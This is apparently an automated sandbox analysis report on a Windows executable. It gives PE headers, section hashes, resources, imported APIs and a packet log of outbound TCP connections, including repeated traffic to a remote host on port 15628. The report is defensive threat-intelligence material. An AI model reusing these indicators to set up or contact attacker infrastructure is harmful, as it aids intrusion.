                                                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x1e530000x4a80.rsrc
                                                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x1e270000x2a9b4.pdata
                                                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x1e580000x13c80.reloc
                                                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x3848500x1c.rdata
                                                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_TLS0x3849800x28.rdata
                                                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x3847100x140.rdata
                                                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_IAT0x30a0000x1bb0.rdata
                                                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                            Sections

                                                                                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                            .text0x10000x3084940x308600d54c837575aa7ad98d2e6a28d97700cbunknownunknownunknownunknownIMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                            .rdata0x30a0000xefc620xefe002048d863d2ca5248baaa8602718d7d11False0.29390612786607606data5.2665596497292375IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                            .data0x3fa0000x1a2cc540x1a24c0070d6ad329584a418574cb0edccd73192unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                            .pdata0x1e270000x2a9b40x2aa008ea43229e668cca71dd48565e3c91eb3False0.5224408907624634data6.415871799872263IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                            _RDATA0x1e520000x15c0x2006fba6d7be901830c50da5d89aea540ceFalse0.408203125data3.358718227326079IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                            .rsrc0x1e530000x4a800x4c00496f782ed416d08c4279620746b5e815False0.3147101151315789data4.060429014481452IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                            .reloc0x1e580000x13c800x13e00b5ac7dcafb2946410d48af5cc4df5a9cFalse0.09148977987421383data5.444408195722223IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                            Resources

                                                                                            NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                            AFX_DIALOG_LAYOUT0x1e555980x2dataChineseChina5.0
                                                                                            RT_CURSOR0x1e555a00x134Targa image data - RGB 64 x 65536 x 1 +32 "\001"ChineseChina0.4805194805194805
                                                                                            RT_CURSOR0x1e556d80xb4Targa image data - Map 32 x 65536 x 1 +16 "\001"ChineseChina0.7
                                                                                            RT_CURSOR0x1e557b80x134AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rdChineseChina0.36363636363636365
                                                                                            RT_CURSOR0x1e559080x134Targa image data - RLE 64 x 65536 x 1 +32 "\001"ChineseChina0.35714285714285715
                                                                                            RT_CURSOR0x1e55a580x134dataChineseChina0.37337662337662336
                                                                                            RT_CURSOR0x1e55ba80x134dataChineseChina0.37662337662337664
                                                                                            RT_CURSOR0x1e55cf80x134Targa image data 64 x 65536 x 1 +32 "\001"ChineseChina0.36688311688311687
                                                                                            RT_CURSOR0x1e55e480x134Targa image data 64 x 65536 x 1 +32 "\001"ChineseChina0.37662337662337664
                                                                                            RT_CURSOR0x1e55f980x134Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"ChineseChina0.36688311688311687
                                                                                            RT_CURSOR0x1e560e80x134Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"ChineseChina0.38636363636363635
                                                                                            RT_CURSOR0x1e562380x134dataChineseChina0.44155844155844154
                                                                                            RT_CURSOR0x1e563880x134dataChineseChina0.4155844155844156
                                                                                            RT_CURSOR0x1e564d80x134AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rdChineseChina0.5422077922077922
                                                                                            RT_CURSOR0x1e566280x134dataChineseChina0.2662337662337662
                                                                                            RT_CURSOR0x1e567780x134dataChineseChina0.2824675324675325
                                                                                            RT_CURSOR0x1e568c80x134dataChineseChina0.3246753246753247
                                                                                            RT_BITMAP0x1e56b380xb8Device independent bitmap graphic, 12 x 10 x 4, image size 80ChineseChina0.44565217391304346
                                                                                            RT_BITMAP0x1e56bf00x144Device independent bitmap graphic, 33 x 11 x 4, image size 220ChineseChina0.37962962962962965
                                                                                            RT_ICON0x1e53c400x668Device independent bitmap graphic, 48 x 96 x 4, image size 1536ChineseChina0.19939024390243903
                                                                                            RT_ICON0x1e542a80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2688ChineseChina0.3699360341151386
                                                                                            RT_DIALOG0x1e551780x80dataChineseChina0.6875
                                                                                            RT_DIALOG0x1e551f80xb8dataChineseChina0.6032608695652174
                                                                                            RT_DIALOG0x1e552b00xa4dataChineseChina0.7317073170731707
                                                                                            RT_DIALOG0x1e553580x15cdataChineseChina0.5114942528735632
                                                                                            RT_DIALOG0x1e56a180xe2dataChineseChina0.6769911504424779
                                                                                            RT_DIALOG0x1e56b000x34dataChineseChina0.8653846153846154
                                                                                            RT_STRING0x1e56d380x5cdataChineseChina0.8369565217391305
                                                                                            RT_STRING0x1e56d980x4edataChineseChina0.8461538461538461
                                                                                            RT_STRING0x1e56de80x2cdataChineseChina0.5909090909090909
                                                                                            RT_STRING0x1e56e180x84dataChineseChina0.9166666666666666
                                                                                            RT_STRING0x1e56ea00x1ccdataChineseChina0.7934782608695652
                                                                                            RT_STRING0x1e571c80x14edataChineseChina0.5179640718562875
                                                                                            RT_STRING0x1e570b80x10edataChineseChina0.7037037037037037
                                                                                            RT_STRING0x1e576580x50dataChineseChina0.7125
                                                                                            RT_STRING0x1e570700x44dataChineseChina0.6764705882352942
                                                                                            RT_STRING0x1e575c80x68dataChineseChina0.7019230769230769
                                                                                            RT_STRING0x1e573180x1b2dataChineseChina0.6474654377880185
                                                                                            RT_STRING0x1e574d00xf4dataChineseChina0.6065573770491803
                                                                                            RT_STRING0x1e576300x24dataChineseChina0.4722222222222222
                                                                                            RT_STRING0x1e576a80x1a8dataChineseChina0.6674528301886793
                                                                                            RT_GROUP_CURSOR0x1e557900x22Lotus unknown worksheet or configuration, revision 0x2ChineseChina1.0294117647058822
                                                                                            RT_GROUP_CURSOR0x1e55f800x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_CURSOR0x1e558f00x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_CURSOR0x1e55e300x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_CURSOR0x1e55ce00x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_CURSOR0x1e566100x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_CURSOR0x1e55b900x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_CURSOR0x1e562200x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_CURSOR0x1e55a400x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_CURSOR0x1e560d00x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_CURSOR0x1e563700x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_CURSOR0x1e564c00x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_CURSOR0x1e567600x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_CURSOR0x1e568b00x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_CURSOR0x1e56a000x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.3
                                                                                            RT_GROUP_ICON0x1e551500x22dataChineseChina1.0588235294117647
                                                                                            RT_VERSION0x1e554b80xdcdataChineseChina0.6545454545454545
                                                                                            RT_MANIFEST0x1e578500x22fXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (499), with CRLF line terminatorsEnglishUnited States0.5295169946332737

                                                                                            Imports

                                                                                            DLLImport
                                                                                            KERNEL32.dllFindFirstFileExW, GetStringTypeW, GetDriveTypeW, SetFilePointerEx, ReadConsoleW, GetConsoleMode, GetConsoleOutputCP, GetTimeZoneInformation, EnumSystemLocalesW, IsValidLocale, LCMapStringW, CompareStringW, GetTimeFormatW, GetDateFormatW, FlsFree, FlsSetValue, FlsGetValue, FlsAlloc, GetStdHandle, IsValidCodePage, SetConsoleCtrlHandler, GetFullPathNameW, GetFileType, SetStdHandle, HeapQueryInformation, GetCommandLineW, GetCommandLineA, FreeLibraryAndExitThread, ExitThread, CreateThread, VirtualQuery, VirtualAlloc, GetSystemInfo, RtlUnwind, InterlockedFlushSList, InterlockedPushEntrySList, RtlPcToFileHeader, RtlUnwindEx, RaiseException, OutputDebugStringW, FindNextFileW, GetEnvironmentStringsW, FreeEnvironmentStringsW, ExitProcess, SetCurrentDirectoryW, GetCurrentDirectoryW, CreateFileW, InitializeSListHead, GetSystemTimeAsFileTime, QueryPerformanceCounter, GetStartupInfoW, IsDebuggerPresent, IsProcessorFeaturePresent, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, CreateEventW, WaitForSingleObjectEx, ResetEvent, SetEnvironmentVariableW, LocalUnlock, LocalLock, GetTickCount, GetUserDefaultLCID, ReplaceFileA, GetTempFileNameA, GetDiskFreeSpaceA, Sleep, SearchPathA, GetProfileIntA, GetTempPathA, GetTickCount64, SetErrorMode, FindResourceExW, VerifyVersionInfoA, VerSetConditionMask, GetWindowsDirectoryA, GetCurrentDirectoryA, FindNextFileA, SetFileTime, SetFileAttributesA, LocalFileTimeToFileTime, GetFileTime, GetFileSizeEx, GetFileAttributesExA, GetFileAttributesA, FileTimeToLocalFileTime, GetStringTypeExA, MoveFileA, lstrcmpiA, GetShortPathNameA, LoadLibraryExA, GetCurrentProcess, DuplicateHandle, GetVolumeInformationA, UnlockFile, SetFilePointer, SetEndOfFile, ReadFile, LockFile, GetFullPathNameA, GetFileSize, FlushFileBuffers, FindFirstFileA, FindClose, DeleteFileA, GetCPInfo, GetOEMCP, VirtualProtect, GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetLocaleInfoW, lstrcpyA, GetACP, GlobalFlags, GetThreadLocale, SystemTimeToFileTime, GetAtomNameA, LocalReAlloc, GlobalHandle, GlobalReAlloc, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSection, WritePrivateProfileStringA, GetPrivateProfileStringA, GetPrivateProfileIntA, GetModuleHandleA, lstrcmpA, GetVersionExA, GetCurrentThread, ResumeThread, SuspendThread, SetThreadPriority, CreateEventA, WaitForSingleObject, SetEvent, FileTimeToSystemTime, SystemTimeToTzSpecificLocalTime, LocalAlloc, InitializeCriticalSectionAndSpinCount, LeaveCriticalSection, EnterCriticalSection, GetModuleFileNameA, GetCurrentProcessId, CompareStringA, GlobalGetAtomNameA, GlobalFindAtomA, GlobalAddAtomA, FindResourceA, lstrcmpW, GlobalDeleteAtom, LoadLibraryExW, GetModuleHandleW, FreeLibrary, GetSystemDirectoryW, GetCurrentThreadId, EncodePointer, QueryActCtxW, FindActCtxSectionStringW, DeactivateActCtx, ActivateActCtx, LoadResource, CreateActCtxW, LoadLibraryW, GetModuleHandleExW, GetModuleFileNameW, OutputDebugStringA, CopyFileA, FormatMessageA, MulDiv, LocalFree, GlobalFree, GlobalLock, GlobalUnlock, GlobalSize, GlobalAlloc, SetLastError, lstrcatA, LoadLibraryA, GetProcAddress, CloseHandle, WriteFile, CreateFileA, DeleteCriticalSection, InitializeCriticalSectionEx, GetProcessHeap, HeapSize, HeapFree, HeapReAlloc, HeapAlloc, HeapDestroy, DecodePointer, GetLastError, WideCharToMultiByte, MultiByteToWideChar, FindResourceW, SizeofResource, LockResource, QueryPerformanceFrequency, WriteConsoleW
                                                                                            USER32.dllSetRect, InvalidateRgn, CopyAcceleratorTableA, CharNextA, LoadCursorW, WindowFromPoint, ReleaseCapture, SetCapture, DeleteMenu, CharUpperA, GetDialogBaseUnits, GetAsyncKeyState, CopyImage, LoadImageW, DestroyIcon, InvalidateRect, TrackMouseEvent, RealChildWindowFromPoint, IntersectRect, LoadCursorA, GetSysColorBrush, SystemParametersInfoA, InflateRect, GetMenuItemInfoA, DestroyMenu, MapDialogRect, SetWindowContextHelpId, SetCursor, ShowOwnedPopups, PostQuitMessage, GetCursorPos, TranslateMessage, GetMessageA, WaitMessage, GetWindowThreadProcessId, GetDesktopWindow, GetActiveWindow, GetNextDlgTabItem, EndDialog, CreateDialogIndirectParamA, FillRect, ClientToScreen, GetWindowDC, TabbedTextOutA, GrayStringA, DrawTextExA, DrawTextA, GetMonitorInfoA, MonitorFromWindow, WinHelpA, GetScrollInfo, SetScrollInfo, LoadIconA, CallNextHookEx, SetWindowsHookExA, GetLastActivePopup, GetTopWindow, GetClassNameA, GetClassLongPtrA, GetClassLongA, SetWindowLongPtrA, GetWindowLongPtrA, PtInRect, EqualRect, IsRectEmpty, MapWindowPoints, ScreenToClient, AdjustWindowRectEx, RemovePropA, GetPropA, SetPropA, ShowScrollBar, GetScrollRange, SetScrollRange, GetScrollPos, SetScrollPos, ScrollWindow, RedrawWindow, ValidateRect, EndPaint, BeginPaint, SetForegroundWindow, GetForegroundWindow, SetActiveWindow, TrackPopupMenuEx, TrackPopupMenu, IsZoomed, GetMenu, GetCapture, GetKeyState, IsWindowVisible, EndDeferWindowPos, DeferWindowPos, BeginDeferWindowPos, SetWindowPlacement, GetWindowPlacement, DestroyWindow, IsChild, IsMenu, CreateWindowExA, GetClassInfoExA, GetClassInfoA, RegisterClassA, LoadMenuW, BringWindowToTop, SetCursorPos, MessageBoxA, SendMessageA, PostMessageA, SetTimer, KillTimer, CallWindowProcA, DefWindowProcA, GetMessageTime, GetMessagePos, PeekMessageA, DispatchMessageA, RegisterWindowMessageA, IsDialogMessageA, GetWindow, SetWindowLongA, GetWindowLongA, GetWindowTextLengthA, GetWindowTextA, SetWindowTextA, ScrollWindowEx, IsWindowEnabled, GetNextDlgGroupItem, MessageBeep, DrawFocusRect, LoadImageA, DrawIconEx, GetIconInfo, EnableScrollBar, HideCaret, InvertRect, NotifyWinEvent, CreatePopupMenu, GetMenuDefaultItem, SetLayeredWindowAttributes, EnumDisplayMonitors, OpenClipboard, SetFocus, GetDlgCtrlID, CloseClipboard, SetClipboardData, EmptyClipboard, DrawStateA, SetClassLongPtrA, SetWindowRgn, SetParent, DrawEdge, GetSysColor, EnableWindow, UpdateWindow, GetWindowRect, LoadIconW, UnregisterClassA, IsIconic, GetSystemMetrics, GetSystemMenu, AppendMenuA, DrawIcon, GetClientRect, GetMenuStringA, GetMenuState, GetSubMenu, GetMenuItemID, GetMenuItemCount, InsertMenuA, RemoveMenu, UnhookWindowsHookEx, IsWindow, GetKeyNameTextA, MapVirtualKeyA, GetDC, ReleaseDC, CopyRect, SendDlgItemMessageA, SetRectEmpty, OffsetRect, GetParent, UpdateLayeredWindow, GetFocus, CheckMenuItem, EnableMenuItem, SetMenuItemBitmaps, GetMenuCheckMarkDimensions, SetMenuItemInfoA, LoadBitmapW, ShowWindow, MoveWindow, SetWindowPos, GetDlgItem, SetDlgItemInt, GetDlgItemInt, SetDlgItemTextA, GetDlgItemTextA, CheckDlgButton, CheckRadioButton, IsDlgButtonChecked, CopyIcon, FrameRect, LoadAcceleratorsA, TranslateAcceleratorA, DrawFrameControl, LoadMenuA, InsertMenuItemA, GetMenuBarInfo, UnpackDDElParam, ReuseDDElParam, RegisterClipboardFormatA, UnionRect, GetTabbedTextExtentW, GetTabbedTextExtentA, GetDCEx, DestroyCursor, GetWindowRgn, WindowFromDC, CreateMenu, InSendMessage, MonitorFromRect, SendNotifyMessageA, SubtractRect, TranslateMDISysAccel, DefMDIChildProcA, DefFrameProcA, DrawMenuBar, EnumChildWindows, GetUpdateRect, IsClipboardFormatAvailable, CharUpperBuffA, ModifyMenuA, GetDoubleClickTime, SetMenuDefaultItem, LockWindowUpdate, DestroyAcceleratorTable, CreateAcceleratorTableA, LoadAcceleratorsW, ToAsciiEx, GetKeyboardState, MapVirtualKeyExA, IsCharLowerA, GetKeyboardLayout, PostThreadMessageA, GetComboBoxInfo, MonitorFromPoint, SetMenu
                                                                                            GDI32.dllDeleteObject, Escape, ExcludeClipRect, GetClipBox, GetClipRgn, GetCurrentPositionEx, GetObjectType, GetPixel, GetStockObject, GetViewportExtEx, GetWindowExtEx, IntersectClipRect, LineTo, OffsetClipRgn, PlayMetaFile, PtVisible, RectVisible, RestoreDC, SaveDC, ExtSelectClipRgn, SelectObject, SelectPalette, SetBkMode, SetMapperFlags, SetGraphicsMode, SetMapMode, SetLayout, GetLayout, SetPolyFillMode, SetROP2, SetStretchBltMode, SetTextCharacterExtra, SetTextAlign, SetTextJustification, PlayMetaFileRecord, EnumMetaFile, SetWorldTransform, ModifyWorldTransform, SetColorAdjustment, StartDocA, ArcTo, PolyDraw, SelectClipPath, SetArcDirection, ExtCreatePen, MoveToEx, TextOutA, ExtTextOutA, PolyBezierTo, PolylineTo, SetViewportExtEx, SetViewportOrgEx, SetWindowExtEx, SetWindowOrgEx, OffsetViewportOrgEx, OffsetWindowOrgEx, ScaleViewportExtEx, ScaleWindowExtEx, CreateFontIndirectA, GetTextExtentPoint32A, CombineRgn, DeleteDC, SetRectRgn, DPtoLP, GetTextMetricsA, GetBkColor, GetTextColor, GetRgnBox, CreatePalette, GetNearestPaletteIndex, GetPaletteEntries, GetSystemPaletteEntries, RealizePalette, CreateCompatibleBitmap, CreateDIBitmap, EnumFontFamiliesA, GetTextCharsetInfo, GetDIBits, SetPixel, StretchBlt, CreateDIBSection, SetDIBColorTable, CreateEllipticRgn, Ellipse, CreatePolygonRgn, Polygon, Polyline, CreateRoundRectRgn, LPtoDP, EnumFontFamiliesExA, Rectangle, OffsetRgn, GetCurrentObject, CreateFontA, GetCharWidthA, StretchDIBits, RoundRect, FillRgn, FrameRgn, GetBoundsRect, PtInRegion, ExtFloodFill, SetPaletteEntries, SetPixelV, GetWindowOrgEx, GetViewportOrgEx, CloseMetaFile, CreateMetaFileA, DeleteMetaFile, EndDoc, StartPage, EndPage, AbortDoc, SetAbortProc, GetROP2, GetBkMode, GetNearestColor, GetPolyFillMode, GetStretchBltMode, GetTextAlign, GetTextExtentPointA, GetTextExtentPoint32W, GetTextFaceA, CreateSolidBrush, CreateRectRgn, CreatePatternBrush, CreatePen, CreateHatchBrush, CreateDIBPatternBrushPt, CreateCompatibleDC, BitBlt, GetObjectA, SetTextColor, SetBkColor, CreateBitmap, PatBlt, CreateRectRgnIndirect, GetDeviceCaps, CreateDCA, GetMapMode, SelectClipRgn, CopyMetaFileA
                                                                                            MSIMG32.dllTransparentBlt, AlphaBlend
                                                                                            WINSPOOL.DRVClosePrinter, GetJobA, OpenPrinterA, DocumentPropertiesA
                                                                                            ADVAPI32.dllRegEnumKeyA, RegSetValueA, GetFileSecurityA, SetFileSecurityA, RegEnumKeyExA, RegEnumValueA, RegOpenKeyExW, RegQueryValueA, RegCloseKey, RegSetValueExA, RegDeleteValueA, RegDeleteKeyA, RegCreateKeyExA, RegQueryValueExA, RegOpenKeyExA
                                                                                            SHELL32.dllSHGetFileInfoA, SHAddToRecentDocs, ExtractIconA, ShellExecuteA, SHGetPathFromIDListA, SHGetSpecialFolderLocation, SHGetDesktopFolder, DragQueryFileA, DragFinish, ShellExecuteExA, SHAppBarMessage, SHBrowseForFolderA, SHGetMalloc, SHGetSpecialFolderPathA
                                                                                            COMCTL32.dllImageList_ReplaceIcon
                                                                                            SHLWAPI.dllPathFindFileNameA, PathRemoveExtensionA, UrlUnescapeA, PathStripToRootA, StrFormatKBSizeA, PathRemoveFileSpecW, PathIsUNCA, PathFindExtensionA
                                                                                            UxTheme.dllGetThemePartSize, GetThemeSysColor, DrawThemeText, DrawThemeParentBackground, OpenThemeData, CloseThemeData, DrawThemeBackground, GetThemeColor, GetCurrentThemeName, IsThemeBackgroundPartiallyTransparent, GetWindowTheme, IsAppThemed
                                                                                            ole32.dllRevokeDragDrop, RegisterDragDrop, OleGetClipboard, PropVariantCopy, CoRegisterClassObject, CoRevokeClassObject, CoRegisterMessageFilter, OleSetMenuDescriptor, OleLockRunning, StgCreateDocfile, StgOpenStorage, CoInitialize, CreateFileMoniker, OleCreateMenuDescriptor, OleDestroyMenuDescriptor, OleTranslateAccelerator, IsAccelerator, OleRegGetMiscStatus, OleRegEnumVerbs, WriteClassStm, GetHGlobalFromILockBytes, CreateGenericComposite, CreateItemMoniker, OleCreate, DoDragDrop, OleIsCurrentClipboard, OleFlushClipboard, OleSetClipboard, OleCreateFromData, OleCreateLinkFromData, OleUninitialize, OleInitialize, CoFreeUnusedLibraries, OleRun, CoInitializeEx, CreateStreamOnHGlobal, CreateILockBytesOnHGlobal, StgOpenStorageOnILockBytes, StgCreateDocfileOnILockBytes, CoGetClassObject, CoDisconnectObject, StringFromGUID2, CLSIDFromProgID, CLSIDFromString, CoCreateInstance, CoCreateGuid, CoUninitialize, SetConvertStg, OleRegGetUserType, ReleaseStgMedium, OleDuplicateData, ReadFmtUserTypeStg, WriteFmtUserTypeStg, CreateBindCtx, CoTreatAsClass, WriteClassStg, ReadClassStg, CoTaskMemFree, CoTaskMemAlloc, StringFromCLSID, OleCreateStaticFromData, OleCreateLinkToFile, OleCreateFromFile, OleLoad, OleSave, OleSaveToStream, OleSetContainedObject, OleGetIconOfClass, CreateDataAdviseHolder, CreateOleAdviseHolder, GetRunningObjectTable, OleIsRunning, CoGetMalloc, StgIsStorageFile, OleQueryLinkFromData, OleQueryCreateFromData, CoLockObjectExternal
                                                                                            OLEAUT32.dllRegisterTypeLib, SysStringLen, SysReAllocStringLen, SystemTimeToVariantTime, VariantTimeToSystemTime, SafeArrayAllocDescriptor, SafeArrayAllocData, SafeArrayCreate, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayDestroy, SafeArrayRedim, SafeArrayGetDim, SafeArrayGetElemsize, SafeArrayGetUBound, SafeArrayGetLBound, LoadRegTypeLib, SafeArrayUnlock, SafeArrayAccessData, SafeArrayUnaccessData, SafeArrayGetElement, SafeArrayPutElement, SafeArrayCopy, SafeArrayPtrOfIndex, VariantCopy, VarDateFromStr, SysStringByteLen, VarCyFromStr, VarBstrFromCy, VarBstrFromDate, VarBstrFromDec, VarDecFromStr, OleCreateFontIndirect, SysAllocString, LoadTypeLib, VariantChangeType, VariantClear, SysFreeString, VariantInit, SysAllocStringByteLen, SafeArrayLock, SysAllocStringLen
                                                                                            oledlg.dll
                                                                                            WS2_32.dllWSACleanup, WSASetLastError, WSAGetLastError, WSAAsyncSelect, WSAStartup, setsockopt, accept, bind, closesocket, connect, getpeername, getsockname, htonl, htons, inet_addr, inet_ntoa, ntohs, recv, recvfrom, select, send, sendto, socket, gethostbyname
                                                                                            gdiplus.dllGdipDrawImageI, GdipCreateBitmapFromHBITMAP, GdipCreateFromHDC, GdipSetInterpolationMode, GdipDrawImageRectI, GdiplusShutdown, GdipAlloc, GdipFree, GdipBitmapUnlockBits, GdiplusStartup, GdipCloneImage, GdipBitmapLockBits, GdipCreateBitmapFromScan0, GdipCreateBitmapFromFileICM, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromFile, GdipCreateBitmapFromStream, GdipGetImagePaletteSize, GdipGetImagePalette, GdipGetImagePixelFormat, GdipGetImageHeight, GdipGetImageWidth, GdipGetImageGraphicsContext, GdipDisposeImage, GdipDeleteGraphics
                                                                                            OLEACC.dllAccessibleObjectFromWindow, LresultFromObject, CreateStdAccessibleObject
                                                                                            WININET.dllInternetOpenA, InternetCloseHandle, InternetConnectA, InternetOpenUrlA, InternetReadFile, InternetErrorDlg, InternetGetCookieA, InternetSetCookieA, HttpQueryInfoA, HttpEndRequestA, HttpSendRequestExA, HttpSendRequestA, HttpAddRequestHeadersA, HttpOpenRequestA, GopherGetAttributeA, GopherOpenFileA, GopherFindFirstFileA, GopherCreateLocatorA, FtpCommandA, FtpGetCurrentDirectoryA, FtpSetCurrentDirectoryA, FtpRemoveDirectoryA, FtpCreateDirectoryA, FtpOpenFileA, FtpRenameFileA, InternetCrackUrlA, InternetSetFilePointer, FtpDeleteFileA, FtpPutFileA, FtpGetFileA, FtpFindFirstFileA, InternetSetStatusCallback, InternetGetLastResponseInfoA, InternetSetOptionA, InternetQueryOptionA, InternetFindNextFileA, InternetQueryDataAvailable, InternetWriteFile, InternetCanonicalizeUrlA
                                                                                            IMM32.dllImmReleaseContext, ImmGetOpenStatus, ImmGetContext
                                                                                            WINMM.dllPlaySoundA

                                                                                            Possible Origin

                                                                                            Language of compilation systemCountry where language is spokenMap
                                                                                            ChineseChina
                                                                                            EnglishUnited States

                                                                                            Network Behavior

                                                                                            Network Port Distribution

                                                                                            TCP Packets

                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                            Jul 20, 2024 11:36:16.129519939 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:36:16.134577990 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:36:16.134650946 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:36:16.135613918 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:36:16.140387058 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:36:17.029983997 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:36:17.082612991 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:36:17.242762089 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:36:17.247823954 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:36:17.556957006 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:36:17.599107027 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:36:47.091759920 CEST4974480192.168.2.418.136.78.90
                                                                                            Jul 20, 2024 11:36:47.096581936 CEST804974418.136.78.90192.168.2.4
                                                                                            Jul 20, 2024 11:36:47.096658945 CEST4974480192.168.2.418.136.78.90
                                                                                            Jul 20, 2024 11:36:47.122683048 CEST4974480192.168.2.418.136.78.90
                                                                                            Jul 20, 2024 11:36:47.127726078 CEST804974418.136.78.90192.168.2.4
                                                                                            Jul 20, 2024 11:36:47.616666079 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:36:47.621804953 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:36:48.025680065 CEST804974418.136.78.90192.168.2.4
                                                                                            Jul 20, 2024 11:36:48.170377970 CEST4974553192.168.2.48.8.8.8
                                                                                            Jul 20, 2024 11:36:48.175446987 CEST53497458.8.8.8192.168.2.4
                                                                                            Jul 20, 2024 11:36:48.176573992 CEST49746443192.168.2.4103.235.46.96
                                                                                            Jul 20, 2024 11:36:48.176620960 CEST44349746103.235.46.96192.168.2.4
                                                                                            Jul 20, 2024 11:36:48.176765919 CEST49746443192.168.2.4103.235.46.96
                                                                                            Jul 20, 2024 11:36:48.178378105 CEST4974553192.168.2.48.8.8.8
                                                                                            Jul 20, 2024 11:36:48.181092978 CEST49746443192.168.2.4103.235.46.96
                                                                                            Jul 20, 2024 11:36:48.181152105 CEST44349746103.235.46.96192.168.2.4
                                                                                            Jul 20, 2024 11:36:48.181360006 CEST49746443192.168.2.4103.235.46.96
                                                                                            Jul 20, 2024 11:36:48.182375908 CEST4974553192.168.2.48.8.8.8
                                                                                            Jul 20, 2024 11:36:48.182375908 CEST49747443192.168.2.4142.250.186.132
                                                                                            Jul 20, 2024 11:36:48.182420969 CEST44349747142.250.186.132192.168.2.4
                                                                                            Jul 20, 2024 11:36:48.182938099 CEST49749443192.168.2.477.88.44.55
                                                                                            Jul 20, 2024 11:36:48.182992935 CEST4434974977.88.44.55192.168.2.4
                                                                                            Jul 20, 2024 11:36:48.183043003 CEST49749443192.168.2.477.88.44.55
                                                                                            Jul 20, 2024 11:36:48.185100079 CEST49749443192.168.2.477.88.44.55
                                                                                            Jul 20, 2024 11:36:48.185142994 CEST4434974977.88.44.55192.168.2.4
                                                                                            Jul 20, 2024 11:36:48.185396910 CEST49749443192.168.2.477.88.44.55
